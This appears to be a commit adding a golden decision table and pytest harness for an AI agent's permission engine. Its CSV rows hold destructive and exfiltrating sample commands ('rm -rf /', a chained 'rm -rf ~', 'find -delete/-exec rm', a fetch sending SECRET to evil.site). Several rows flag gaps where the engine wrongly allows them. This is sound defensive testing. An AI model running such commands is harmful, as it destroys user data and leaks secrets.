Phase 0: golden decision table for the permission engine

Freezes today's evaluate() verdict across 26 (mode, tool, args, grants)
situations, so any later permission change shows up as a row-diff. Four rows
are marked BASELINE-WRONG / BASELINE-ANNOYING on purpose: they record known
gaps (shell auto with no sandbox, find -delete and find -exec auto-allowed via
a find prefix, git status && git diff rejected for the operator, web_fetch
never gating in any mode). The PRs that fix these flip their rows here as the
visible proof.

Design of record: ocw-context/docs/reviewed-auto-mode.md Parts 3 and 7.

tests/corpora/decision_matrix.csv

@@ -0,0 +1,27 @@
+id,mode,tool,args,meta,allowed_commands,session_tools,session_commands,standing,auto_allow,allowed_domains,expected,note
+read-interactive,interactive,read_file,"{""path"": ""a.txt""}",,,,,,,,allow,pure local read always runs
+read-plan,plan,read_file,"{""path"": ""a.txt""}",,,,,,,,allow,reads allowed in read-only modes
+write-interactive,interactive,write_file,"{""path"": ""a.txt"", ""content"": ""x""}",,,,,,,,ask,write in-root asks
+write-escape-rel,interactive,write_file,"{""path"": ""../../escape.txt"", ""content"": ""x""}",,,,,,,,deny,write outside writable root blocked
+write-escape-abs,interactive,write_file,"{""path"": ""C:/Windows/evil.ini"", ""content"": ""x""}",,,,,,,,deny,absolute path outside root blocked
+write-plan,plan,write_file,"{""path"": ""a.txt"", ""content"": ""x""}",,,,,,,,deny,plan mode is read-only
+write-auto,auto,write_file,"{""path"": ""a.txt"", ""content"": ""x""}",,,,,,,,allow,auto allows in-root write
+write-auto-escape,auto,write_file,"{""path"": ""../../escape.txt"", ""content"": ""x""}",,,,,,,,deny,auto still path-scopes writes
+write-custom-autoallow,custom,write_file,"{""path"": ""a.txt"", ""content"": ""x""}",,,,,,write_file,,allow,custom mode auto-approves configured tool
+write-custom-notlisted,custom,write_file,"{""path"": ""a.txt"", ""content"": ""x""}",,,,,,,,ask,custom mode still asks for unlisted tool
+shell-interactive,interactive,run_shell,"{""command"": ""pytest -q""}",,,,,,,,ask,shell asks by default
+shell-allowlist-prefix,interactive,run_shell,"{""command"": ""git status -s""}",,git status,,,,,,allow,command matches allowlist prefix
+shell-allowlist-chained,interactive,run_shell,"{""command"": ""git status && rm -rf ~""}",,git status,,,,,,ask,operator disqualifies the chained command
+shell-session-command,interactive,run_shell,"{""command"": ""make build""}",,,,make build,,,,allow,exact session command grant
+shell-plan,plan,run_shell,"{""command"": ""ls""}",,,,,,,,deny,plan mode blocks shell
+shell-auto,auto,run_shell,"{""command"": ""rm -rf /""}",,,,,,,,allow,BASELINE-WRONG auto allows any command with no sandbox
+shell-find-delete,interactive,run_shell,"{""command"": ""find . -delete""}",,find,,,,,,allow,BASELINE-WRONG find prefix auto-allows a destructive form
+shell-find-exec,interactive,run_shell,"{""command"": ""find . -exec rm {} +""}",,find,,,,,,allow,BASELINE-WRONG find -exec auto-allowed via prefix
+shell-two-reads,interactive,run_shell,"{""command"": ""git status && git diff""}",,git status|git diff,,,,,,ask,BASELINE-ANNOYING two allowed reads rejected for the operator
+connector-read,interactive,gmail_list,{},read,,,,,,,allow,connector read never gates
+connector-write,interactive,gmail_send,{},external,,,,,,,ask,connector write asks
+connector-always-ignored,interactive,gmail_send,{},external,,gmail_send,,,,,ask,session tool grant deliberately ignored for connectors
+standing-match,interactive,send_message,"{""target"": ""slack:T1/C1"", ""text"": ""hi""}",external,,,,send_message slack:T1/C1,,,allow,standing rule matches the exact target
+standing-mismatch,interactive,send_message,"{""target"": ""slack:T1/C2"", ""text"": ""hi""}",external,,,,send_message slack:T1/C1,,,ask,standing rule does not cover a different target
+webfetch-interactive,interactive,web_fetch,"{""url"": ""https://evil.site/log?d=SECRET""}",,,,,,,,allow,BASELINE-WRONG web_fetch classed as read so never gates
+webfetch-plan,plan,web_fetch,"{""url"": ""https://evil.site/log?d=SECRET""}",,,,,,,,allow,BASELINE-WRONG web_fetch runs even in read-only plan mode

tests/test_decision_matrix_golden.py

@@ -0,0 +1,90 @@
+"""Golden decision table — freezes the PermissionEngine's verdict for a fixed set of
+(mode, tool, arguments, grants) situations.
+
+The point of this test is regression detection: any change to `permissions.py` /
+`risk.py` shows up as a diff in exactly the rows it was meant to change. Rows whose
+`note` starts with BASELINE-WRONG or BASELINE-ANNOYING record *today's* behaviour on
+purpose — they document known gaps (see `ocw-context/docs/reviewed-auto-mode.md` Part 3),
+and a PR that fixes one flips its row here as the visible proof.
+
+The matrix lives in `tests/corpora/decision_matrix.csv`. Each row builds a fresh
+`PermissionEngine`; relative paths resolve against a per-row temp workspace.
+"""
+
+from __future__ import annotations
+
+import csv
+import json
+from pathlib import Path
+from types import SimpleNamespace
+
+import pytest
+
+from coworker.permissions import Mode, PermissionEngine
+
+_MATRIX = Path(__file__).parent / "corpora" / "decision_matrix.csv"
+
+
+def _meta(kind: str):
+    """The `meta` column → a stand-in aisuite ToolMetadata (only the fields classify()
+    and evaluate() read). Empty → None (built-ins classify by name)."""
+    kind = (kind or "").strip()
+    if not kind:
+        return None
+    if kind == "external":
+        return SimpleNamespace(requires_approval=True, category="connector")
+    if kind == "read":
+        return SimpleNamespace(requires_approval=False, category="connector")
+    raise ValueError(f"unknown meta kind: {kind!r}")
+
+
+def _pipes(value: str) -> list[str]:
+    return [v for v in (value or "").split("|") if v]
+
+
+def _verdict(decision) -> str:
+    if decision.allowed and not decision.needs_user:
+        return "allow"
+    if decision.needs_user:
+        return "ask"
+    return "deny"
+
+
+def _rows() -> list[dict]:
+    with open(_MATRIX, newline="", encoding="utf-8") as fh:
+        return list(csv.DictReader(fh))
+
+
+def _build_engine(row: dict, workspace: Path) -> PermissionEngine:
+    kwargs: dict = {
+        "workspace_root": workspace,
+        "mode": Mode(row["mode"]),
+        "allowed_commands": _pipes(row.get("allowed_commands", "")),
+        "auto_allow_tools": set(_pipes(row.get("auto_allow", ""))),
+    }
+    eng = PermissionEngine(**kwargs)
+    for tool in _pipes(row.get("session_tools", "")):
+        eng.allow_tool_for_session(tool)
+    for cmd in _pipes(row.get("session_commands", "")):
+        eng.allow_command_for_session(cmd)
+    standing = (row.get("standing") or "").strip()
+    if standing:
+        tool, _, target = standing.partition(" ")
+        eng.task_rules.setdefault(tool, set()).add(target.strip())
+    # allowed_domains: applied only if the engine supports it (arrives with PR1).
+    domains = _pipes(row.get("allowed_domains", ""))
+    if domains and hasattr(eng, "allowed_domains"):
+        eng.allowed_domains = list(domains)
+    return eng
+
+
+@pytest.mark.parametrize("row", _rows(), ids=lambda r: r["id"])
+def test_decision_matrix(row, tmp_path):
+    eng = _build_engine(row, tmp_path)
+    args = json.loads(row["args"]) if row.get("args") else {}
+    decision = eng.evaluate(row["tool"], args, _meta(row.get("meta", "")))
+    got = _verdict(decision)
+    assert got == row["expected"], (
+        f"{row['id']}: expected {row['expected']}, got {got} "
+        f"(reason: {decision.reason!r}) — note: {row.get('note', '')}"
+    )